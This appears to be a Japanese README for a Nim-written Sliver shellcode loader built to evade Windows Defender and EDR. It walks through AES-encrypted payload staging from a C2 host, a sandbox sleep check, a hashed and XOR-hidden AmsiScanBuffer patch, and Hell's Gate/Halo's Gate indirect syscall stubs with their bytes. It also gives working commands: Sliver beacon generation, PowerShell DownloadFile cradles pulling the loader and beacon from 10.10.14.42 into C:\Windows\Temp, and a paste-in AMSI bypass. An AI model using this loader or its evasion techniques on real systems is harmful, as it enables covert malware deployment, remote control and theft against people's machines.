
Nimベースの暗号化ツールで、シェルコードやペイロードを難読化してWindows Defenderを回避するために使用します。
Sliverシェルコードローダー。Nimで記述され、Windows x64を対象としています。最も一般的な2つの配信状況に対応した2つのバリアントがあります。Windows Defender(リアルタイム保護有効)でテスト済みです。
暗号化されたシェルコードブロブをディスクから読み込み、メモリ上で復号し、自己インジェクションします。ファイルドロップのプリミティブが既にあり、小さくシンプルなバイナリが必要な場合に使用します。
loader.exe <shellcode.bin> [key_hex iv_hex]
キーとIVはオプションです。省略した場合、ファイルは生の暗号化されていないシェルコードとして扱われます。
暗号化されたブロブをC2からHTTP経由でダウンロードします(Windows WinHTTPスタック使用)。メモリ上で復号し、自己インジェクションします。ファイルがディスクに触れることはありません。ターゲット上でバイナリを実行できるが、2つ目のファイルを確実にドロップできない場合に使用します。
コンパイル前に、stageless/loader.nim の先頭にある定数を編集してください:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # encrypt.py からの64文字の16進数
scIV = "..." # encrypt.py からの32文字の16進数
stagelessローダーは起動時に Sleep(5000) を呼び出し、GetTickCount64 で実際の経過時間を計測します。4500ms未満だった場合はプロセスを終了します。ほとんどの自動化サンドボックス環境はスリープを早送りまたはスキップするため、このチェックに失敗します。これはネットワークアクティビティやシェルコード実行前に行われるため、ネットワーク動作を検査するサンドボックスには何も見えません。
amsi.nim は、2層の難読化を使用して実行時に AmsiScanBuffer をパッチします:
FNV-1aハッシュによる文字列隠蔽。 AmsiScanBuffer という文字列はバイナリに一切出現しません。代わりに、コンパイル時にFNV-1aハッシュが計算され、定数として格納されます。実行時にローダーはamsi.dllのエクスポートテーブルを走査し、各エクスポート名をハッシュ化して、格納された値と比較することで、文字列をメモリに保持することなく関数アドレスを見つけます。
コンパイル時XOR難読化。 DLL名(amsi.dll)とパッチバイト(xor eax, eax; ret = 31 C0 C3)の両方が、Pythonサブプロセスを介してビルドごとに新たに生成されるランダムキーを使用して、コンパイル時にXORエンコードされます。キーは定数として埋め込まれ、バイトは使用直前に実行時にデコードされます。生のバイトはビルドごとに変化するため、パッチシーケンスの静的シグネチャを破ります。
このパッチは、AmsiScanBuffer の最初の3バイトを xor eax, eax; ret で上書きし、すべての呼び出しで入力に関係なく AMSI_RESULT_CLEAN を返すようにします。
encrypt.py は、ランダムに生成された32バイトのキーと16バイトのIVを使用して、生のシェルコードをAES-256-CBCで暗号化します。ローダーはWindows BCrypt APIを使用してその場で復号するため、ターゲットにサードパーティの暗号ライブラリは必要ありません。
メモリは PAGE_READWRITE として割り当てられ、シェルコードが書き込まれた後、実行前に領域が PAGE_EXECUTE_READ に切り替えられます。PAGE_EXECUTE_READWRITE として直接割り当てることはよく知られたシグネチャであり、DefenderやEDRが明示的にフラグを立てます。書き込みフェーズと実行フェーズを分離することで、そのパターンを回避します。
stageless/syscalls.nim は、Win32 API層(kernel32.dll)と、EDRによって配置されたntdll.dllのユーザーランドフックの両方をバイパスします。
SSN解決。 起動時にローダーはntdllのベースアドレスを取得し、そのPEエクスポートテーブルを解析して、すべての Nt* エクスポートをRVAでソートして収集します。必要な各NT関数について、最初の4バイトをチェックします:
4C 8B D1 B8(mov r10, rcx; mov eax, imm32)の場合、スタブはクリーンであり、SSNはバイト4-5から直接読み取られます。これがHell's Gateです。neighbor_SSN +/- distance として計算します。SSNはアドレス順にスタブごとに1ずつ増加します。これがHalo's Gateです。ガジェットの位置特定。 ローダーは、最初に見つかったクリーンなNt*スタブをスキャンして、バイトシーケンス 0F 05 C3(syscall; ret)を探します。これにより、ntdllのイメージバックアップされた .text セクション内のアドレスが得られ、再利用できます。
スタブ生成。 必要な関数ごとに、22バイトのスタブが単一のRWページに書き込まれ、使用前にRXに切り替えられます:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
jmp [rip+0] は、その直後の8バイト(ガジェットアドレス)をデリファレンスし、実行をntdllの既存の syscall; ret シーケンスにリダイレクトします。syscall 命令はntdllの .text から発行され、匿名割り当てからは発行されないため、どのメモリ領域がシステムコールを発行したかを追跡するカーネルレベルの追跡を無効化します。
間接システムコールでカバーされる4つの関数は、NtAllocateVirtualMemory、NtProtectVirtualMemory、NtCreateThreadEx、NtWaitForSingleObject です。
復号後、stagelessローダーは NtAllocateVirtualMemory を介して自身のプロセス内にRW領域を割り当て、copyMem でシェルコードをコピーし、NtProtectVirtualMemory で領域をRXに切り替え、NtCreateThreadEx でスレッドを生成します。メインスレッドはその後、NtWaitForSingleObject で無限にブロックし、ビーコンのゴルーチンが実行されている間プロセスを存続させます。4つの呼び出しすべては、上記の間接システムコールスタブを経由します。
自己インジェクションは呼び出し面を最小限に抑えます。クロスプロセスAPI呼び出し(WriteProcessMemory、CreateRemoteThread など)はなく、これらは古典的なリモートインジェクションの主要な検出ベクトルです。
AmsiScanBuffer を解決、xor eax, eax; ret で上書きsyscall; ret ガジェットを特定、スタブを書き込みNtAllocateVirtualMemory(RW)NtProtectVirtualMemory を PAGE_EXECUTE_READ にNtCreateThreadExNtWaitForSingleObjectVirtualAlloc(RW)、シェルコードをコピー、VirtualProtect でRXにLinuxビルドマシン上:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
stageless/loader.nim を編集し、c2Host、c2Port、c2Path、scKey、scIV を設定します。次にプロジェクトルートから:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
プロジェクトルートからコンパイルすることで、ルートの nim.cfg のみが読み込まれます。出力は静的にリンクされたWindows x64 PEで、標準システムライブラリ以外の外部DLL依存関係はありません。
Stagelessの場合:暗号化されたブロブを、c2Port に一致するポートでHTTP経由で提供します:
cd bins && python3 -m http.server 443
Stagerの場合:両方のファイルをターゲットに転送します:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager(暗号化あり):
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager(暗号化なし):
loader.exe shellcode.bin
PowerShellのダウンロードクレードルを介して配信する場合、ローダーが実行される前にAMSIがスクリプトをスキャンします。最初にPSセッションでAMSIをパッチしてください:
python3 gen_amsi.py
出力をPSセッションに貼り付け、ダウンロードや実行の前に行います。このスクリプトはエクスポートテーブルのハッシュで AmsiScanBuffer を解決するため、文字列がプレーンテキストで出現せず、すべてのパッチバイトはランダムな実行時キーでXORエンコードされます。
BCryptSetProperty は STATUS_INVALID_PARAMETER を返しますが、BCryptはデフォルトでCBCになるため、復号は正常に動作します。syscall 命令は、ntdllの .text セクション(イメージバックアップ、Microsoft署名)から発行され、スタブページからではないため、カーネルレベルのシステムコール発信元追跡を無効化します。Defenderのメカニズム、手法、その他のツールの詳細については、私のブログをご覧ください。